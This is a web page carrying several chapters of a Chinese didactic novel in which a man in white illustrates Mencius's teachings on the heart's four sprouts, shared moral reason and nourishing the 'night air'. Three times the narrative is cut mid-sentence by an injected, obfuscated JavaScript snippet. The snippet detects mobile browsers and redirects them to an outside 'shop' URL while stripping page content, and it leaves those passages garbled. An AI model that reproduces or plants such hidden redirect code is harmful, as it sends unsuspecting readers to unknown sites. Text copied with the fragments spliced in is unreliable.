恻隐冰窟 白衣人引众至城北河边，指一冰窟：“去岁那小儿，便落此处？” 老妪点头。白衣人问：“当时可有人见？” “有…有五六人，皆未救。” “为何？” “冰薄…怕死。” “是怕死，还是恻隐之心不敌惧死之心？”白衣人徐道，“孟子言‘乍见孺子入井，皆有怵惕恻隐之心’，谓此心发动，不假思索。然若思量‘我救会死’，此心便被蔽。非无心，是被利害计较所蔽。” 他自怀中取出一串铜钱，掷于冰面：“今我悬赏十文，谁敢踏冰取钱？” 无人动。 “百文？” 仍不动。 “一两银？” 一青年咬牙欲前，被母拉住。 白衣人长叹：“诸君见否？恻隐之心发动时，未及思量；一旦思量利害，心即被蔽。今世多少人，见义不为，非无恻隐，是算得太清。此非性恶，是智昏。” 他跃上冰面，木剑轻点，冰裂三尺，竟有锦鲤跃出。白衣人捞鱼在手，对老妪道：“婆婆，此鱼送你，愿你好生养护，如养护你那点恻隐心。” 老妪抱鱼泣谢。白衣人又对众道：“恻隐如泉，堵则涸，疏则流。从今而后，见人急难，莫先思利害，但问心中那点‘不忍’。此心一振，便是仁端。” 言罢，在河边柳树刻： “恻隐本自心中泉， 莫让利害塞其源。 但得一念不忍处， 便是人间仁字先。” 是日，河内传出三桩义举：有商贾捐米济贫，有壮汉救起落水犬，有孩童送饼与乞儿。皆因“莫思利害”四字。 二、 羞恶田讼 次日，白衣人访那争田兄弟。兄名张仁，弟名张义，本是一户，因父遗三亩水田，三年不往来。 白衣人邀二人至田头，问：“此田产粮几何？” 张仁答：“年收三石。” “三石值几钱？” “约…约三两银。” “三年不往来，值几钱？” 二人默然。 白衣人指田埂：“你父遗此田，是望你兄弟生息，非望你兄弟生隙。今为三两银年利，三年不相见，可值？” 张义垂首：“是弟贪…” “非贪，是羞恶之心被蔽。”白衣人正色，“孟子言羞恶之心，人皆有之。你讼兄时，心中无愧？夜半可眠？” 张义泣道：“常惊醒…” “此便是羞恶之心。”白衣人道，“然你为何仍讼？因你想：‘田本该有我份’‘兄不公’‘不争是懦’。种种理由，掩了羞恶心。此心一蔽，义便不存。” 他取木剑，在田界碑上划一道线：“今日我为你二人定新界——此田一分二，你兄弟各半。可愿？” 张仁急道：“不可！此田本相连，分则水脉断，两败俱伤！” “那当如何？” 兄弟对视，忽齐声道：“合种！” 白衣人笑：“善！羞恶心明，自生智慧。从今合种，收成对分，如何？” 二人跪谢。白衣人扶起，在界碑上刻： “田产有界心无界， 羞恶分明义自存。 但得兄弟同耘耔， 何须阡陌辨亲恩。” 又对围观乡邻道：“诸位见否？人皆有羞恶心，知对错。然常因‘理’‘利’‘气’而自欺。若能直面此心，问一句‘我可羞否’，许多争端自消。” 自此，河内田讼减半。有争者，乡老便问：“可羞否？”多半垂首和解。 三、 恭敬市井 第三日，白衣人至市井。见绸缎庄前，掌柜呵斥一老农：“摸甚摸！摸脏了你赔得起？” 老农缩手，讷讷道：“想…想给闺女扯布…” 白衣人上前，对掌柜一揖：“掌柜的，孟子言恭敬之心，人皆有之。你可有？” 掌柜愣住：“自然有…” “那何以恶声对老者？” “他手脏…” “手脏可洗，心垢难除。”白衣人取一锭银，“这匹布我买了，送这位老丈。” 又对众商贩道：“诸位做生意，笑脸迎客，是恭敬否？是。然此恭敬，是敬钱，还是敬人？若敬钱，则富者恭贫者倨；若敬人，则贫富如一。孟子谓恭敬之心是礼之端，此心发为真礼，非虚礼。” 他指布庄招牌：“今我添一字，可好？” 不待答，木剑点出，在“兴隆布庄”旁，添了个“敬”字，成“兴隆敬布庄”。 掌柜怔然。白衣人道：“从今凡老人、贫者入店，皆称‘老丈’‘大娘’，可否？若有难，价让三分，可否？” 掌柜垂首：“谨…谨遵教诲。” 白衣人又对老农一揖：“老丈，方才掌柜失礼，我代赔罪。此布送你，愿令嫒裁衣时，心中欢喜。” 老农泪下，市井观者，多有惭色。当日，河内市井，罕见吵嚷。商贩见贫者，多添笑意。 四、 是非公堂 第四日，白衣人入府衙。刘知府正审一案：富户李百万告佃户周三盗牛。周三喊冤，然有证人见其夜牵牛。 白衣人立堂下：“大人，容学生一问。” 刘知府准。 “证人见周三牵牛，是何时？” “子时。” “牛是何色？” “黄牛。” “牵往何处？” “往…往西山。” 白衣人问周三：“你家在何处？” “东…东村。” “子时牵牛往西山，为何？” 周三叩头：“小人那夜是去西山采药，为病母治病，并未见牛！” 白衣人忽对李百万道：“员外，你那牛，可是左角有疤？” 李百万一惊：“你…你怎知？” “我不但知，”白衣人自袖中取出一张牛皮，上烙“李”字，左角果有疤，“还知此牛三日前已死，被埋在西山乱坟岗。你可要开棺验牛？” 李百万瘫倒。白衣人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088183|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对知府道：“此案是非，明矣。然学生想问：满堂衙役、证人、旁观者，初见周三贫苦，便信其盗牛；见李百万富贵，便信其言实。此是非之心，是依贫富，还是依道理？” 满堂寂然。 白衣人叹：“孟子言是非之心，智之端。此心人皆有，能辨对错。然常因贫富、亲疏、利害而偏。今之世，多少是非颠倒，正因此心被蔽。若人人遇事，能摒除外缘，但问本心‘是耶非耶’，天下冤狱，可减大半。” 他取木剑，在公堂柱上刻： “是非之心人皆有， 莫因贫富作熏莸。 但得灵台常拂拭， 不教明镜惹尘浮。” 刘知府肃然下座，对白衣人长揖：“先生四日教，胜读十年书。本官…惭愧。” 白衣人还礼：“大人立四心碑，是善举。然碑是死物，心是活泉。愿大人以四心审案，以四心待民，则河内可治。” 飘然而去。 尾声四心泉 刘知府果以四心为治。审案必问：“可有恻隐？”“可感羞恶？”“可存恭敬？”“可明是非？”河内讼事日稀，民风渐淳。 又三年，河内大治。刘知府迁任前，于四心碑旁掘一井，名“四心泉”，并立碑记此事。碑阴详述白衣人来去，末云： “白衣先生，不知何许人。其来也倏忽，其去也杳然。然留四心之教，泽被河内。今凿此泉，喻四心如泉，人皆可浚。愿后来者，饮泉思心，葆此四端，则孟子之道，永存人间。” 泉成那日，有牧童见白衣人立碑前，以手掬水，饮而笑曰： “恻隐原是心中泉， 羞恶分明义自全。 恭敬生礼非虚礼， 是非在智是真诠。 四心本是天生具， 何须外觅圣贤言。 但得人人勤拂拭， 人间何处不桃源？” 歌罢，踏水而去，步步生莲。 牧童归告，乡人往观，果见泉畔青苔上，有莲花状水印，三日不干。 自此，四心泉成河内圣地。有夫妇不睦者，饮泉思“恭敬”；有兄弟相争者，饮泉思“羞恶”；有见义不为者，饮泉思“恻隐”；有是非难断者，饮泉思“智明”。 泉旁杨柳，百年常青。 而四心碑上字迹，风雨不蚀。 像在提醒每个过客： 你心中，本有清泉。 莫让尘劳，塞了源头。 本章诫世 一、 四心本有之实 - 孟子谓恻隐、羞恶、恭敬、是非四心，人皆有之，非外铄 - 破解法：遇善恶抉择时，莫怨本性，当问本心是否被蔽 - 示例：老妪恻隐被惧蔽，兄弟羞恶被利蔽，商贾恭敬被财蔽，众人是非被势蔽 二、 心蔽之因 - 四心常被利害、得失、亲疏、贫富等外缘遮蔽 - 惕世：最大的恶，非无心，是自蔽其心还自欺 - 反思：多少“不得已”，实是放纵心蔽？ 三、 浚泉之喻 - 四心如泉，需常拂拭疏浚 - 深层隐喻：教化在唤醒，非灌输；在疏浚，非堵塞 - 终极指向：人人心中皆有善泉，社会当为疏浚者，非堵塞者 四心偈： 开成十一年河内，四心碑立府衙前。 白衣点破蔽心处，百姓泣陈愧悔篇。 恻隐羞恶皆本有，恭敬是非乃天全。 至今泉畔杨柳绿，犹说当年剑影翩。 后世叹： 大周河内民风漓，知府立碑思化之。 白衣四日解四心，百姓一时醒百痴。 恻隐能通冰窟险，羞恶可解田产疑。 至今泉涌清如许，尽是人间未泯彝。 正是： 河内府衙碑巍巍，四心铭刻映朝晖。 白衣论道破心蔽，百姓聆教泣泪挥。 恻隐羞恶皆固有，恭敬是非莫外祈。 劝君勤浚心中泉，莫待枯时叹昨非。 32. 心同谳 楔子丰凶异相 大燕宣和三年，青州有孪生兄弟，兄名丰年，弟名凶岁。兄弟同年同貌，性情却异：丰年温良恭俭，凶岁暴戾乖张。乡人不解，问其父，父叹：“丰年生于丰岁，仓廪实；凶岁生于凶岁，米缸空。天时不同耳。” 是年秋，青州大熟。城南富户设“尝新宴”，邀乡绅品新谷。席间，丰年谦和让坐，凶岁却因位次不满，掀桌怒骂。主人责之，凶岁瞪目：“我饿时，谁让我坐？我饱时，倒要我让？” 座中忽闻轻笑：“此言有理。” 众视之，见末席一白衣人，斗笠面纱，正以箸拨盘中新米。 主人不悦：“阁下笑什么？” 白衣人起身，负木剑踱至庭中：“孟子曰：‘富岁，子弟多赖；凶岁，子弟多暴。非天之降才尔殊也，其所以陷溺其心者然也。’” 他指丰年、凶岁：“此兄弟，同父同母同日生，何以性情殊？非天性异，是所历丰凶异，陷溺其心。今兄饱食，故温良；弟曾饥，故暴戾。诸位但责弟暴，可曾想其暴之由？” 凶岁闻言，怔住，泪忽下。 一、 麦田同种 白衣人邀兄弟至自家田。田分两畦，左畦麦苗青壮，右畦萎黄。白衣人问：“此麦同种同播，何以异？” 丰年观之：“左畦地肥，右畦地瘠。” “然。”白衣人颔首，“孟子譬喻：麰麦播种，地同树时同，皆熟。其不同者，地有肥硗，雨露人事不齐。人亦如此——同为父母生，同是血肉躯，其后善恶，在境遇滋养。” 他取木剑，在田埂刻： “人心如麦苗， 境遇乃土壤。 丰凶非本性， 润枯在雨旸。” 凶岁跪泣：“先生…我非愿暴戾。少时饥，见人食肉，我拾骨；见人衣锦，我衣褐。心中积怨，遇事即爆…我…我控制不住。” 白衣人扶起：“非你不能，是你心田久旱，未得润泽。今我与你兄弟一赌：以此右畦瘠田，我教你耕种，一年后，看与左畦孰优。” 凶岁疑：“此田已瘠…” “地瘠可肥，心瘠亦可肥。”白衣人自怀中取一袋种子，“此乃‘同理麦’，种时需兄弟合力，兄挖坑，弟下种，兄培土，弟浇水。缺一不可。” 兄弟对视，点头。 一月后，麦苗出，虽仍瘦，已见绿意。凶岁每日浇水除草，竟渐静心。乡人奇之，问其故，凶岁挠头：“看着苗长，心里…舒坦。” 二、 屦肆同足 麦苗渐长，白衣人携兄弟入城。至“刘氏屦肆”，见掌柜与客争。客足大，欲买屦，掌柜曰无此号。客怒：“天下足同，何无我号？” 白衣人上前揖道：“足真同否？” 掌柜指满架屦：“足有大小阔狭，岂能同？” “孟子引龙子言：‘不知足而为屦，我知其不为蒉也。’”白衣人道，“虽不知足大小，但知是足非筐，故可制屦。今掌柜见足大，便拒售，是不知足之同——同需履，同畏寒，同行路。此是同，何拒？” 掌柜语塞。白衣人取木剑，削木为屦模，曰：“我今为这位客官制屦，可愿观？” 众围看。白衣人手法如飞，削木、编麻、缝底，片刻成屦。客试穿，竟合脚。众喝彩。 白衣人谓掌柜：“天下足形虽异，其需履同；天下人心虽异，其需义理同。掌柜开肆，当思足之同需，莫只见足之异形。” 又对兄弟道：“你二人，性似异，实同需——需人理解，需人尊重，需人信义。今兄得之，故温；弟未得，故暴。非你异，是遇异。” 凶岁恍然，对兄揖：“哥，这些年…苦了你。” 丰年泪下，抱弟：“是哥未体你心。” 兄弟相拥泣。白衣人在肆门题： “足虽有大小，皆需履； 心虽历丰凶，皆向义。 莫因形异拒同需， 但以理同慰相知。” 自此，刘氏屦肆改规：凡客至，必量足制屦，不拒大足。又设“义屦架”，收旧屦修整，赠贫者。青州传为美谈。 三、 味馆同嗜 又数日，白衣人引兄弟至“易牙味馆”。馆主姓易，自诩易牙后裔，烹艺绝伦。然馆有陋规：珍馐仅供贵客，常菜乃飨平民。 凶岁不满：“同样是客，何以分等？” 易馆主嗤：“贵客知味，俗人但饱。岂可同席？” 白衣人笑问：“孟子云：‘口之于味，有同嗜也。’易牙先得众口所嗜，故称知味。敢问馆主，贵客之口与平民之口，可有二舌？” 馆主语塞。 白衣人指壁上“易牙遗风”匾：“易牙若在，见你以味分人，当掀此匾。味之同嗜，不分贵贱。今我请馆主烹一味，邀贵贱同尝，可敢？” 易馆主傲然：“便烹‘一味同心羹’，看谁品出高低！” 遂入厨，取寻常菘菜、豆腐、山菌，以高汤煨炖。羹成，清素无华。馆主分盛十碗，五碗金边，五碗陶碗，杂置案上，闭目道：“请尝。” 贵客与平民各取碗尝。片刻，众人皆赞：“鲜！” 馆主睁眼：“孰碗更鲜？” 众面面相觑——金边碗、陶碗，滋味无差。 白衣人抚掌：“善！孟子言：‘如使口之于味也，其性与人殊，若犬马之与我不同类也，则天下何嗜皆从易牙之於味也？’今诸位皆赞此羹，可见口有同嗜，不因碗异。心同理义，亦如是——不因贵贱而殊。” 他取木剑，在灶台刻： “口有同嗜不分碗， 心同理义岂别颜。 但得一味真知在， 何必金玉饰鼎镌。” 易馆主愧，撤分席规，改“同心堂”，价分三等，味皆同烹。又设“义羹”，日施百碗济贫。 凶岁问白衣人：“先生，我尝此羹，觉美。丰年亦觉美。此是同嗜。然则我心向义，与圣人同否？” 白衣人正色：“孟子云：‘心之所同然者何也？谓理也，义也。圣人先得我心之所同然耳。’你怒不公，是向义；悔己暴，是向理。此心同然，与圣人无异，只是圣人先明，你后觉罢了。” 凶岁如闻钟鸣，伏地再拜。 四、 理义同悦 麦熟时，兄弟右畦麦，竟与左畦齐穗，籽实饱满。乡邻称奇，问白衣人施何法。 白衣人指心：“无他，润其心田耳。凶岁昔暴，是因心田久旱，生荆棘。今以理解润之，以信任溉之，以希望煦之，荆棘自化嘉禾。” 凶岁果变，温厚勤勉，助兄持家，孝养双亲。年终，兄弟合撰《丰凶记》，述心境之变，赠乡里传阅。 宣和四年元夕，青州办“同心灯会”，万民同乐。丰年凶岁制巨灯，形如麦穗，上书孟子语：“理义之悦我心，犹刍豢之悦我口。” 灯升起时，白衣人忽现灯下，仰面观灯，含笑点头。 凶岁急趋前：“先生！学生…学生明矣！心同理义，如口同嗜。从前我怨天尤人，是因未见此‘同’。今知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088184|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人人心中有此同然，便觉世道可亲，人心可暖。” 白衣人问：“若再遇不公，当如何？” “以同理心度之，以同理义导之。”凶岁答，“如先生教：莫因形异拒同需，但以理同慰相知。” “善。”白衣人解木剑赠之，“此剑无名，可名‘同理’。持之，非为争胜，为斩心中荆棘，护此同理心。” 又对众朗声道：“诸位，孟子言‘凡同类者，举相似也’，人皆同类，心皆同理。今见丰年凶岁，可知境遇能陷溺其心，亦能彰显其心。但使我等着意润泽心田，除其荆棘，灌以理义，则人人皆可发心苗，结实穗，不逊圣人。” 言罢，踏歌行： “丰岁凶岁本同根， 心同理义即灵源。 莫因境遇分高下， 但得润泽皆琅轩。 口同嗜，耳同听， 目同美，心同然。 劝君勤溉心中亩， 自有嘉禾映青天。” 歌声袅袅，人随歌远。 凶岁捧剑，对空长揖。 自此，青州有俗：凡兄弟阋墙、邻里相争，长者必问：“可记丰年凶岁乎？”争者多愧而和解。 又数年，凶岁设“同理堂”，收教顽劣少年，以“润心田”为法，化导百人。每有少年躁暴，他便示以木剑，讲白衣人故事。 少年问：“先生，那白衣人，究竟何人？” 凶岁望天：“是孟子所言‘先得我心之所同然’者。你我心中皆有此人，只是…他先醒了。” 堂前有联，乃凶岁亲书： “口同嗜味何分碗， 心同理义本同灯。” 灯，即那盏麦穗灯，年年元夕升起，照得青州夜如白昼。 仿佛在说： 看，人心同理，如灯同明。 莫让境遇的风，吹灭了这点光。 本章诫世 一、 境遇陷心之实 - 丰凶异相，非天性殊，乃境遇陷溺其心 - 破解法：见人暴戾，当思其陷溺之由，非责其性恶 - 示例：凶岁之暴，源少时饥寒缺爱；一旦得润泽，善心自彰 二、 人同类心同理 - 孟子以口同嗜、耳同听、目同美，证心同理义 - 惕世：莫因外在差异，否定人心相通；莫因境遇殊途，断言本性殊归 - 反思：多少歧视偏见，源于不见此“同”？ 三、 润心田之要 - 心田需润泽，理义如甘霖 - 深层隐喻：教化在提供滋润环境，非强扭枝干 - 终极指向：人人心中皆有嘉禾种，需社会以同理义为雨露 心同偈： 宣和三年青州秋，孪生兄弟性殊流。 白衣论心明陷溺，木剑润田化刚柔。 屦肆同足知共需，味馆同嗜泯贵俦。 至今同理堂前月，犹照人间未竟修。 后世叹： 大燕宣和青州城，丰凶兄弟判浊清。 一席话醒陷溺苦，双畦麦证润泽功。 口同嗜味方知味，心同理义始通义。 莫道人间多异路，灵台同然月同明。 正是： 青州秋熟宴新粮，兄弟殊性惹评章。 白衣论心明陷溺，木剑润亩化刚强。 口同嗜味何分碗，足共需履岂异裳？ 至今同理堂前训，犹嘱人间莫自戕。 33. 夜气谳 楔子濯濯山 大凉永平五年，渝州有山名“茂材”，昔年松柏参天，今成童山濯濯。樵夫叹：“三十年前，此山木可十围，今竟无一苗。” 山下有村，村中有豪绅姓屠，名世财，开矿伐木，富甲一方。其子屠耀祖，年十八，暴戾乖张，殴仆虐畜，乡人避如蛇蝎。有老儒劝：“郎君当收敛心性。”耀祖嗤：“我生来如此，能奈我何？” 清明，屠家祭祖。耀祖嫌祭品不丰，踹翻供桌，骂父：“老货吝啬！”世财气晕，族人皆摇头：“此子禽兽，非人也。” 忽闻山道有人歌： “牛山曾是美木林， 旦旦斧斤成濯濯。 人心本有仁义苗， 朝伐暮牧何萧索。” 众视之，见一白衣人，斗笠面纱，负木剑，正仰观秃山。 老儒揖问：“先生歌中‘牛山’，是孟子所言‘牛山之木’乎？” “然也。”白衣人指秃山，“孟子曰：‘牛山之木尝美矣，以其郊于大国也，斧斤伐之，可以为美乎？’今此山木尽，是人见其濯濯，以为山本无材。岂知非山之过，是斧斤牛羊之过。” 耀祖闻言，冲至面前：“你是骂我渝州人滥伐？” 白衣人转视之，良久：“我骂滥伐者，亦骂自伐者。” “何谓自伐？” “人心中有仁义之苗，如木在山。若旦旦伐之，则成濯濯之心。人见其禽兽，以为未尝有才，此岂人之情哉？”白衣人声渐厉，“如你屠耀祖，心中岂无善苗？却被怒气伐，被骄气牧，被戾气牛羊啃噬，今成童山。可悲，可叹！” 耀祖暴怒，挥拳欲殴，忽见白衣人目光澄澈如镜，照出自己狰狞面目，拳竟僵在半空。 一、 斧斤旦伐 白衣人邀众人上山。至山顶，但见树桩累累，如坟冢。屠世财叹：“昔年我父在此伐木，日进百金。至我，木尽矿竭，怕是报应。” “非报应，是道理。”白衣人抚一树桩，“孟子云：‘其所以放其良心者，亦犹斧斤之于木也，旦旦而伐之，可以为美乎？’山木旦旦伐，则濯濯；人心旦旦伐，则禽兽。屠公子心中善苗，便是被三把斧所伐——” 他转向耀祖：“一为溺爱斧。你父早年致富，愧于陪你，便以金银填你。你要月，不给星。此斧伐你感恩心。” 耀祖一怔。 “二为纵欲斧。你任性，无人敢忤，要打便打，要骂便骂。此斧伐你羞恶心。” 耀祖低头。 “三为骄横斧。众人畏你家势，逢迎阿谀，使你自以为天之骄子。此斧伐你恭敬心。” 耀祖额汗涔涔。 白衣人声转悲悯：“三斧旦旦伐，你心中善苗，安得不枯？今日你踹父骂祖，非你本心如此，是你心已成濯濯山，无木可栖良心了。” 屠世财扑通跪地：“先生！可能救？” “救山难，救心易。”白衣人扶起，“孟子曰：‘其日夜之所息，平旦之气，其好恶与人相近也者几希。’人每至平旦，夜气清明，良心萌蘖。然你旦昼所为，又将其梏亡。今我问你——” 他直视耀祖：“你可曾夜深人静，忽觉日间所为太过，心生悔意？可曾梦醒时分，想对父说句软话，却开不了口？” 耀祖浑身剧震，泪如雨下：“有…有！每夜后悔，天一亮，又…” “这便是夜气。”白衣人颔首，“此气如朝露，本可润心苗，却被你旦昼暴行梏亡。梏之反复，夜气不存，则离禽兽不远。今你知悔，是夜气未绝。若得养护，心苗可苏。” 言罢，取木剑在山岩刻： “人心如山林， 旦伐成濯濯。 夜气犹萌蘖， 养护可再蔚。” 刻毕，对耀祖道：“我与你约：七日为限，你每夜子时，独上此山，静坐至平旦，接引夜气。白日遇怒，先数十息。可敢？” 耀祖咬牙：“敢！” 二、 夜气萌蘖 第一夜，耀祖上山。但见月黑风高，树影如鬼。他惧，欲退，忽见岩上刻字“夜气犹萌蘖”，硬头皮坐定。 初时焦躁，渐闻松涛虫鸣，心稍静。子时过，万籁俱寂，忽忆儿时父背他看灯，父颈汗味犹在鼻端。那时父未富，父子亲密… 悔意如潮，泪湿衣襟。 平旦，东方既白，山气清凉。耀祖忽觉胸中块垒消减，下跪对空三叩，默念：“从今少作孽。” 次日，仆役失手碎杯，耀祖怒起，忽忆“数十息”，强压火气，只摆手：“下次小心。”仆役愕然，如见鬼。 第二夜，耀祖上山更早。静坐中，忆起曾殴一老仆，只因茶烫。那老仆伤卧三日，他未探问…悔恨如绞。 平旦归，亲携药探老仆。老仆惊惶欲跪，耀祖扶住：“往日我畜牲不如，您多包涵。”老仆泣不成声。 第三夜，忆起踹翻供桌，对父不孝，对祖不敬…山中长嚎，以头抢地。 平旦，归家直入父房，跪地不起。屠世财惊扶，耀祖泣道：“儿…儿知错了。”父子抱头痛哭。 消息传开，乡人疑：“屠霸王做戏乎？” 至第五日，有佃户欠租，被家丁绑来。耀祖见状，亲解其缚，问：“欠多少？”佃户颤答：“三石。”耀祖道：“免了。再赠你三石，好生度日。”并斥家丁：“今后讨租，不准绑人！” 满堂皆惊。 白衣人此时现身，笑问：“可觉心中萌蘖？” 耀祖揖：“如春草破土，虽细弱，然是绿意。” “善。”白衣人引他至后园，指一枯槐，“此树似死，然根未绝。若停斧斤，避牛羊，得雨露，可再发。你心亦如是。” 当夜，白衣人与耀祖同坐山顶。授以“养气诀”：“每至平旦，万籁俱寂时，静心观呼吸。若有悔意，不压不纵，观其生灭。白日遇事，先问：此怒伐我心苗否？此行牧我良心否？” 耀祖默记。七日满，人皆言屠子脱胎换骨。 三、 牛羊又牧 然考验方至。旧日狐朋狗友来邀，往赌坊“耍乐”。耀祖初拒，众讥：“怎的？从良了？”耀祖面红，半推半就前往。 赌坊乌烟瘴气，耀祖坐片刻，忽觉胸闷，耳畔似闻白衣人语：“牛羊又从而牧之…” 他豁然起身，推牌离去。众哄笑，他头也不回。 归途遇恶少欺辱卖炭翁，耀祖旧性复发，上前揪住恶少衣领，拳将落，忽止——心中自问：此是义愤，还是暴戾？若为义愤，当论理；若为暴戾，便是伐心苗。 遂松手，对恶少正色：“他年老，你不羞？”恶少讪讪退。 扶起老翁，代偿炭钱。老翁跪谢，耀祖避让：“该我谢您——您让我知，拳头可打人，亦可扶人。” 白衣人暗处颔首。 又数日，家业纠纷。有远亲来争矿脉，言辞激烈。屠世财欲以势压，耀祖劝：“爹，争利如伐木，今日伐人，明日人伐我。不若让几分，积点夜气。” 屠世财奇：“儿啊，你真变了。” 耀祖道：“非变，是心苗得养，自生枝叶。往日我如濯濯山，今始有绿意，不忍再秃。” 遂让三分利，远亲感愧，反赠股。两家和解，乡人称善。 白衣人闻之，作歌曰： “昨日濯濯山，今朝萌蘖青。 非是山性改，斧斤牛羊停。 人心亦如是，夜气贵在存。 但得旦昼惜，何惧禽兽邻。” 耀祖闻歌，对山三拜。自此，每晨对镜自诫：“勿伐勿牧，养护此心。” 四、 操存舍亡 秋深，白衣人将行。耀祖请留，白衣人摇首：“我如雨露，润你一时。长久养护，在你自己。孔子曰：‘操则存，舍则亡；出入无时，莫知其乡。’此心操存之要，在‘慎独’二字。” 他指后园枯槐：“此树我已灌水施肥，根脉已苏。然能否成材，在它不遭斧斤，不遇牛羊。你心亦如是。” 又取木剑，于槐身刻“操存”二字：“见字如见我。操之则存，舍之则亡。你自抉择。” 耀祖泣送。白衣人去后，耀祖果“慎独”：白日行善，夜则静坐。又劝父停矿植林，屠家渐转行当，广植松柏，十年后，茂材山复绿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088185|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 永平十五年，耀祖中乡试，任县丞。上任日，有豪绅赠厚礼，耀祖拒之，指堂上自题匾“夜气存”，曰：“我昔为濯濯山，幸得夜气润泽，方有今日。此气易失难存，诸公莫使我复秃。” 阖县肃然。 是年冬，耀祖巡乡，见一恶少殴父，酷似当年自己。耀祖不怒，邀至少坐，问：“可曾夜半悔？”恶少茫然。耀祖叹：“你心山未秃，莫再伐了。”耐心劝导，赠以《养心录》。后恶少果改，人问其故，答：“屠公言，人心如山林，我怕秃。” 又数载，茂材山松柏成海，乡人呼“重生林”。耀祖年四十，鬓已星，常携子侄入山，指老槐“操存”刻字，述白衣人事。子侄问：“白衣人何在？” 耀祖指满山松涛：“在山风中，在夜气里，在每人心苗萌蘖时。” 一日，有游方僧过，见“操存”二字，合十：“此二字，可抵一部《孟子》。” 耀祖问：“大师知白衣人否？” 僧笑：“白衣人是幻，夜气是真。孟子曰：‘苟得其养，无物不长；苟失其养，无物不消。’施主能养此山，能养此心，便是见他了。” 言罢，踏叶而去，履下生云。 耀祖独立山巅，但见夕照漫林，千松皆金。山风过处，涛声如海。 似是那夜气的回响。 尾声重生林碑 耀祖致仕后，于茂材山建“夜气亭”，立“重生林碑”，记此事。碑阴刻《孟子》牛山章句，碑阳自撰跋文： “余少时暴戾，人谓禽兽。非性本恶，乃斧斤旦伐，牛羊暮牧，心山成濯濯耳。幸遇白衣先生，教以夜气之养，操存之功。十年树木，百年树人。今山已蔚，心未敢荒。立此碑，警后来者：人心如山林，莫伐莫牧。旦昼惜气，夜半存真。则虽濯濯之山，亦可复苍翠矣。” 碑成日，乡老稚子皆至。有顽童问：“屠公，白衣人真能教坏人变好？” 耀祖抚其首：“非他教，是他唤醒你我心中本有之善。此善如木之根，虽伐虽牧，根在则能萌。你每夜静思，日间可有愧悔？那愧悔，便是萌蘖。护它，便能成林。” 自此，渝州有俗：凡子弟顽劣，长者便携上茂材山，指碑教之。夜半，常有少年独坐亭中，接引夜气。 林深处，时闻木剑叩石声。 清脆，悠远。 似在问： 你的心山，今日伐了几斧？ 本章诫世 一、 心山濯濯之因 - 人非性恶，乃良心旦旦遭伐（溺爱、纵欲、骄横等），暮暮被牧（恶习、环境、诱惑等） - 破解法：见人暴戾，当思其心山被伐之由，非断其性恶 - 示例：屠耀祖之暴，非天生，乃三斧旦伐所致 二、 夜气之珍 - 平旦之气（夜气）是良心萌蘖之时，最易被旦昼所为梏亡 - 惕世：当珍惜夜深人静时的愧悔之念，此是心苗复苏之机 - 反思：多少人在旦昼追逐中，梏亡了这点夜气？ 三、 操存之功 - 心之存亡，在操舍之间。操则存，舍则亡 - 深层隐喻：修养是时时操存夜气，非一曝十寒 - 终极指向：人人皆有心山，莫任斧斤牛羊；人人皆有夜气，当时时操存 夜气偈： 永平五年渝州秋，茂材山秃如童叟。 白衣说破斧牧害，屠子夜坐接气幽。 濯濯非因山性劣，苍苍贵在养护周。 至今重生林涛响，犹劝人间少斫斸。 后世叹： 大凉渝州屠氏子，少时暴戾人避之。 白衣指山喻心木，屠子夜坐悟气滋。 斧斤旦伐原可止，牛羊暮牧犹可驰。 但得操存常慎独，何愁濯濯不成蕤。 正是： 茂材山木竟成童，屠子暴行人避同。 白衣说山喻心木，夜气存养胜天工。 斧斤旦伐原可已，牛羊暮牧犹可攻。 劝君珍惜平旦息，莫待濯濯泣秋风。 34. 一暴谳 楔子三日塾 大晋景和七年，江陵有“三日塾”，塾师姓郝，名一暴，自诩通晓百艺，授徒规矩奇特：每门学问，只教三日。有徒问：“三日岂能学成？”郝师捻须：“圣人云‘一日暴之’，我教三日，已是三倍功夫！” 是年秋，郝师新开“弈道班”，扬言：“三日可成国手。”招得二徒：一为盐商子金专心，一为猎户子赵致志。二人同入门，同习弈。 第一日，郝师授弈理，金专心凝神静听，赵致志却东张西望。郝师不悦：“致志何故分心？”赵致志挠头：“学生…学生听见窗外雁鸣，想此时若在南山，可射雁矣。” 第二日，授弈谱，金专心默记棋路，赵致志以指画弓，念念有词。 第三日，对弈考校。金专心布局严谨，赵致志漏洞百出。郝师摇头：“朽木不可雕也。”逐出赵致志，独留金专心深造。 赵致志不服，嚷道：“先生教三日，我学两日半，何咎之有？” 忽闻堂外有人笑：“好个‘一日暴之，十日寒之’！” 